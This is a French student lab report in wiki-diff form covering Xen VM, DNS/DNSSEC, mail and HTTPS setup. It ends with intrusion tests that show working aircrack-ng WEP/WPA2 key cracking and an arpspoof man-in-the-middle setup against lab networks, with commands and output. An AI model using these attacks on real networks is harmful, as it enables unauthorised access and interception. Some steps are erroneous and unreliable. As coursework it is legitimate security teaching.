TP sysres IMA2a5 2020/2021 G5 : Différence entre versions

De Wiki d'activités IMA
(Configuration de la machine virtuelle Xen)
(Description)
 
(75 révisions intermédiaires par le même utilisateur non affichées)
Ligne 11 : Ligne 11 :
 
|-
 
|-
 
! scope="row" style="width: 40%"|Réseau IP V4
 
! scope="row" style="width: 40%"|Réseau IP V4
|style="width: 60%"|193.48.57.168
+
|style="width: 60%"|193.48.57.168/26
 
|-
 
|-
 
! scope="row" style="width: 40%"|Réseau IP V6
 
! scope="row" style="width: 40%"|Réseau IP V6
|style="width: 60%"|
+
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64
 
|-
 
|-
 
! scope="row" style="width: 40%"|Nom de de la VM  
 
! scope="row" style="width: 40%"|Nom de de la VM  
Ligne 23 : Ligne 23 :
 
|-
 
|-
 
! scope="row" style="width: 40%"|Adresse du site internet version HTTP
 
! scope="row" style="width: 40%"|Adresse du site internet version HTTP
|style="width: 60%"|
+
|style="width: 60%"|http://www.glopglop.site/
 
|-
 
|-
 
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS
 
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS
|style="width: 60%"|
+
|style="width: 60%"|https://www.glopglop.site/
 
|-
 
|-
 
|}
 
|}
 +
=== Architecture réseau ===
 +
L'architecture du réseau est la suivante :
 +
[[Fichier:Architecture2-MA2a5-2020_2021.JPG|1000px|thumb|left|Architecture du réseau]]
 +
<br style="clear: both;" \>
 +
 +
Le problème est que si on regarde le réseau n'est pas vraiment redondant :
 +
 +
- Si on a une coupure de courant tout le réseau s'effondrent, dans l'idéale, il faudrait des onduleurs et un réseau électrique séparé pour la Baie1 et la Baie2/3
 +
 +
- Le réseau ADSL n'est pas fonctionnelle donc si on perd le réseau Polytech on n'as plus accès aux machines.
 +
 +
- Toutes les VM et les sites WEB sont sur la baie3 qui héberge le serveur de virtualisation Capbreton, si on perd la baie3 tout le système tombe.
 +
 +
- Pour finir dans l'idéale les deux bais devrais être dans des bâtiments séparer en cas d'incendie, on risque de perdre les deux bais.
  
 
== Installation des systèmes d’exploitation ==  
 
== Installation des systèmes d’exploitation ==  
Ligne 39 : Ligne 53 :
  
 
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :
 
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :
   xen-create-image --hostname=mirage --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force
+
   xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force
  
 
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande :  
 
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande :  
Ligne 63 : Ligne 77 :
 
  xl list
 
  xl list
 
Pour fonctionner l'état de la VM doit être r ou -b
 
Pour fonctionner l'état de la VM doit être r ou -b
[[Fichier:LancementVm.PNG]]
+
 
 +
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]
 +
<br style="clear: both;" \>
  
 
On accède pour la premier fois a nottre Vm avec la commande :
 
On accède pour la premier fois a nottre Vm avec la commande :
Ligne 80 : Ligne 96 :
 
  vim /etc/network/interfaces
 
  vim /etc/network/interfaces
  
Dans interfaces on tajoute
+
Dans interfaces on ajoute
 
  auto eth0
 
  auto eth0
 
  iface eth0 inet static
 
  iface eth0 inet static
Ligne 96 : Ligne 112 :
 
  GSSAPIAuthentification yes
 
  GSSAPIAuthentification yes
  
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.
+
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.
Pour cela on configure ces interfacte avec la commande :  
+
Pour cela on configure ces interface avec la commande :  
 
  vim/etc/network/interfaces
 
  vim/etc/network/interfaces
  
Puis on configure la passerelle comem ci dessous :  
+
Puis on configure la passerelle comme ci dessous :  
 +
<pre>
 
  # The loopback network interface
 
  # The loopback network interface
 
   auto lo
 
   auto lo
Ligne 202 : Ligne 219 :
 
  iface bridgeGIS inet manual
 
  iface bridgeGIS inet manual
 
   bridge_ports vlan502
 
   bridge_ports vlan502
 +
</pre>
  
== Architecture réseau ==
+
==Services Internet==
  
===L’architecture générale===
+
===Serveur SSH===
  
===Les réseaux virtuels===
+
Grace aux efforts de monsieur Xavier Redon pour permettre de joindre Capbreton a distance pendant le confinement avec la commande 'SSH'.
  
===Le routage de site (IPv4)===
+
On peux donc maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code>
  
===Le routage de site (IPv6)===
+
===Serveur DNS===
 +
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.
 +
 
 +
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code>
 +
 
 +
==== Création et configuration named.conf.local ====
 +
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP.
  
===Interconnexion avec Internet (IPv4)===
+
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.
  
===Interconnexion avec Internet (IPv6)===
+
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]
 +
<br style="clear: both;" \>
  
===Interconnexion Internet de secours (IPv4)===
+
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code>
  
===Interconnexion Internet de secours (IPv6)===
+
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]
 +
<br style="clear: both;" \>
  
===Sécurisation du réseau===
+
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code>
  
==Services Internet==
+
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code>
 +
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]
 +
<br style="clear: both;" \>
 +
Le DNS fonctionne donc bien.
  
===Serveur SSH===
+
==== Configuration gandi.net ====
 +
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code>
  
===Serveur DNS===
+
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.
+
<br style="clear: both;" \>
  
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code>
+
On va maintenant ajouter un "glue record" qui est un enregistrement collé.
  
==== Création et configuration named.conf.local ====
+
Il permet d'associer un nom d'hôte avec une adresse IP au registre.
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP.  
 
  
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.
+
Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.
[[Fichier:Mirage-named.conf.local.PNG]]
 
  
Puis créé le fichier de configuration appelé <code>db.ima2a5-glopglop.site</code>.
+
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]
 +
<br style="clear: both;" \>
  
==== Configuration gandi.net ====
+
Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code>
 
  
[[Fichier:Gandi-glopglop-VueGeneral.PNG]]
+
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines.  
  
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.
+
Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.
 
  
[[Fichier:Mirage-Ajoue-GlueRecord.PNG]]
+
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]
 +
<br style="clear: both;" \>
  
=== Configuration du nom de serveur===
+
Une fois les serveurs DNS configurer on peux fermer GANDI.
  
 
===Sécurisation de site web par certificat===
 
===Sécurisation de site web par certificat===
  
 
===Sécurisation de serveur DNS par DNSSEC===
 
===Sécurisation de serveur DNS par DNSSEC===
 +
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.
 +
====Génération des clef asymétrique====
 +
Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas.
 +
pour commencer, on crée un répertoire pour stocker les clef.
 +
  cd /etc/bind
 +
  mkdir glopglop.site.dnssec
 +
  cd glopglop.site.dnssec/
 +
 +
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code>
 +
On obtien :
 +
Generating key pair...............+++++ ..........................................+++++
 +
Kglopglop.site.+005+15337
 +
 +
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code>
 +
On obtien :
 +
Generating key pair................+++++ ..................................................+++++
 +
Kglopglop.site.+005+55608
 +
 +
On a bien maintenant la paire de clef privée/publique.
 +
 +
Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.
 +
 +
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK).
 +
 +
Puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);
 +
 +
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key
 +
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private
 +
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key
 +
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private
 +
 +
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]
 +
<br style="clear: both;" \>
 +
 +
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous :
 +
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key
 +
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key
 +
 +
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code>
 +
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]
 +
<br style="clear: both;" \>
 +
 +
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.
 +
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous :
 +
; This is a key-signing key, keyid 15337, for glopglop.site.
 +
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)
 +
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)
 +
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)
 +
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=
 +
 +
On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.
 +
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]
 +
<br style="clear: both;" \>
 +
 +
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.
 +
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]
 +
<br style="clear: both;" \>
 +
 +
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.
 +
 +
===Installation d'une messagerie===
 +
====Configuration de Postfix====
 +
Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous :
 +
apt-get install postfix
 +
ant-get install mutt
 +
 +
A l'installation de 'postfix' un fenêtre de configuration s'ouvre.
 +
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'
 +
 +
On vérifie la configuration de 'postix' en allant dans le 'main.cf'
 +
vi /etc/postfix/main.cf
 +
 +
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]
 +
<br style="clear: both;" \>
 +
 +
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'
 +
service postfix restart
 +
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code>
 +
====Réception d'un message====
 +
On peux testé la réception de message en envoyant un message a 'roor@glopglop.site'
 +
Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande <code>mutt</code>
 +
 +
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]
 +
<br style="clear: both;" \>
 +
 +
On constate que on reçoit bien les message en provenance du mail de Polytech.
 +
Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'
 +
 +
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code>
 +
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commande <code>service bind9 restart</code>
 +
 +
Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.
 +
 +
====Envoie du SSL Certification Gandi====
 +
 +
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.
 +
On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.
 +
 +
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]
 +
<br style="clear: both;" \>
 +
 +
Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'
 +
 +
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.
 +
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers Gandi a téléchargé]]
 +
<br style="clear: both;" \>
 +
 +
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code>
 +
On ajoute les lignes suivantes :
 +
 +
SSLEngine on
 +
SSLCertificateFile /root/glopglop.site.crt
 +
SSLCertificateKeyFile /root/myserver.key
 +
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem
 +
 +
On reboot le service apash2 pour qu'il prenne les modification en compte.
 +
Le service ne fonctionne pas encore car on a rien qui écoute le port 442.
 +
/etc/apache2/sites-available/default-ssl.conf
 +
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk
 +
service bind9 restart
 +
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'
 +
 +
On vérifie que tout fonctionne bien avec les commandes :
 +
host www.glopglop.site
 +
www.glopglop.site is an alias for dns1.glopglop.site.
 +
dns1.glopglop.site has address 193.48.57.168
 +
 
 +
host www.glopglop.site ns6.gandi.net
 +
Using domain server:
 +
Name: ns6.gandi.net
 +
Address: 2001:4b98:d:1::40#53
 +
Aliases:
 +
 +
www.glopglop.site is an alias for dns1.glopglop.site.
 +
dns1.glopglop.site has address 193.48.57.168
 +
 +
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'
 +
 +
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]
 +
<br style="clear: both;" \>
 +
 +
on a maintenant un site sécurisé en 'https'
 +
 +
====Modification de la page d'accueille Apashe2====
 +
 +
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.
 +
 +
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.
 +
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.
  
 
==Tests d’intrusion==
 
==Tests d’intrusion==
 +
 +
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA
 +
 +
=== Installation de la clef Wifi ===
 +
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.
 +
 +
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter
 +
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub
 +
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
 +
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
 +
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
 +
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard
 +
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse
 +
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub
 +
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
 +
 +
La clef ubs Wifi est bien détécter.
 +
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :
 +
apt-get install firmware-ralink
 +
apt-get install firmware-misc-nonfree
 +
 +
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous :
 +
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
 +
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
 +
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000
 +
    link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff
 +
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000
 +
    link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff
 +
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000
 +
    link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff
 +
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000
 +
    link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff
 +
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000
 +
    link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff
 +
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000
 +
    link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff
 +
 +
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code>
 +
 +
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien.
 +
 +
=== Installation du paquetage AirCrack-ng ===
 +
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :
 +
apt-get install aircrack-ng
 +
apt-get install firmware-misc-nonfree
 +
 +
=== Utilisation de AirCrack pour clef WEP ===
 +
 +
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.
 +
airmon-ng
 +
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):
 +
airmon-ng start wlx40a5ef059784
 +
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:
 +
airodump-ng wlan0mon
 +
 +
On obtien le résultat ci dessous :                                 
 +
                                                                                                               
 +
BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
 +
                                                                                                               
 +
38:0E:4D:B0:E9:E0  -1        0        1    0  1  -1  WPA              <length:  0>                         
 +
04:DA:D2:9C:50:51  -30      49      834    0  9  54e. WEP  WEP        cracotte02                           
 +
04:DA:D2:9C:50:5A  -29      44      841    0  9  54e. WEP  WEP        cracotte11                           
 +
04:DA:D2:9C:50:56  -28      53      832    9  9  54e. WEP  WEP        cracotte07                           
 +
04:DA:D2:9C:50:57  -29      54      803    0  9  54e. WEP  WEP        cracotte08                           
 +
04:DA:D2:9C:50:59  -30      50      833    0  9  54e. WEP  WEP        cracotte10                           
 +
04:DA:D2:9C:50:54  -29      48      841    0  9  54e. WEP  WEP        cracotte05                           
 +
04:DA:D2:9C:50:50  -29      50      841    0  9  54e. WEP  WEP        cracotte01                           
 +
04:DA:D2:9C:50:5B  -29      50      825    0  9  54e. WEP  WEP        cracotte12                           
 +
04:DA:D2:9C:50:53  -33      46      843    0  9  54e. WEP  WEP        cracotte04                           
 +
04:DA:D2:9C:50:58  -28      50      694    0  9  54e. WEP  WEP        cracotte09                           
 +
04:DA:D2:9C:50:55  -30      49      746    0  9  54e. WEP  WEP        cracotte06                           
 +
04:DA:D2:9C:50:52  -33      50      764    0  9  54e. WEP  WEP        cracotte03                           
 +
00:14:1B:60:8C:28  -30      60        0    0  4  54e. WPA2 CCMP  PSK  kracotte09                           
 +
00:14:1B:60:8C:22  -31      55        0    0  4  54e. WPA2 CCMP  PSK  kracotte03                           
 +
00:14:1B:60:8C:27  -32      64        0    0  4  54e. WPA2 CCMP  PSK  kracotte08                           
 +
00:14:1B:60:8C:24  -34      58        0    0  4  54e. WPA2 CCMP  PSK  kracotte05                           
 +
00:14:1B:60:8C:23  -31      63        0    0  4  54e. WPA2 CCMP  PSK  kracotte04
 +
 +
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54  chanel : 9</code>
 +
 +
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.
 +
 +
KB    depth  byte(vote)
 +
    0    0/  1  F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056)
 +
    1    0/  1  DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544)
 +
    2    1/  3  D4(47360) 98(46336) B6(45568) A7(45056) EB(45056)
 +
    3    0/  2  00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544)
 +
    4    0/  1  00(50688) 09(45824) 50(45568) FD(45056) 5E(44032)
 +
    5    0/  3  00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056)
 +
    6    0/  1  00(51456) 09(47104) 3A(45824) F9(45824) 04(45568)
 +
    7    0/  1  00(51712) C9(47360) 08(46336) 56(45312) E2(44800)
 +
    8    0/  1  00(54016) 05(45568) C1(45312) D5(44544) B7(44288)
 +
    9    0/  2  00(47872) 56(46592) 84(45568) 88(45568) F2(45056)
 +
  10    1/  2  09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568)
 +
  11    0/  2  99(48128) 76(47616) 99(46080) E6(46080) 06(44800)
 +
  12    2/  4  FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776)
 +
 +
  KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ]
 +
  Decrypted correctly: 100%
 +
 +
Et voila nous avons trouver clef du réseau wifi cracotte05
 +
 +
=== Utilisation de AirCrack pour clef WPA2-PSA ===
 +
 +
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.
 +
 +
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.
 +
 +
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code>
 +
 +
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code>
 +
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code>
 +
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.
 +
 +
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code>
 +
Read 121032 packets.
 +
 +
  #  BSSID              ESSID                    Encryption
 +
 +
  1  00:14:1B:60:8C:24  kracotte05                No data - WEP or WPA
 +
 +
  Choosing first network as target.
 +
 +
  Opening reseau_kracotte05-01.cap
 +
  Read 121032 packets.
 +
 +
  1 potential targets
 +
  Got no data packets from target network!
 +
  Quitting aircrack-ng...
 +
 +
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.
 +
 +
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute"
 +
 +
  Aircrack-ng 1.5.2
 +
 +
      [00:32:18] 10323450/102795810 keys tested (2771.75 k/s)
 +
 +
      Time left: 9 hours, 16 minutes, 11 seconds                10.04%
 +
 +
                          KEY FOUND! [ 10244444 ]
 +
 
 +
 +
      Master Key    : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B
 +
                      46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B
 +
 +
      Transient Key  : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8
 +
                      54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B
 +
                      9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70
 +
                      79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85
 +
 +
      EAPOL HMAC    : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD
 +
 +
On a bien trouver la clé du wifi !
 +
 +
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe.
 +
 +
Cela permet de diviser le temps de traitement par le nombre de machine utilisé.
  
 
===Exploitation de failles du système===
 
===Exploitation de failles du système===
  
===Cassage de clef WEP d’un point d’accès WiFi===
+
===Attaque de type "homme au milieu" par usurpation ARP===
 +
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code>
 +
 
 +
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.
 +
 
 +
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.
 +
 
 +
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.
 +
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]
 +
<br style="clear: both;" \>
 +
 
 +
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code>
 +
 
 +
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code>
  
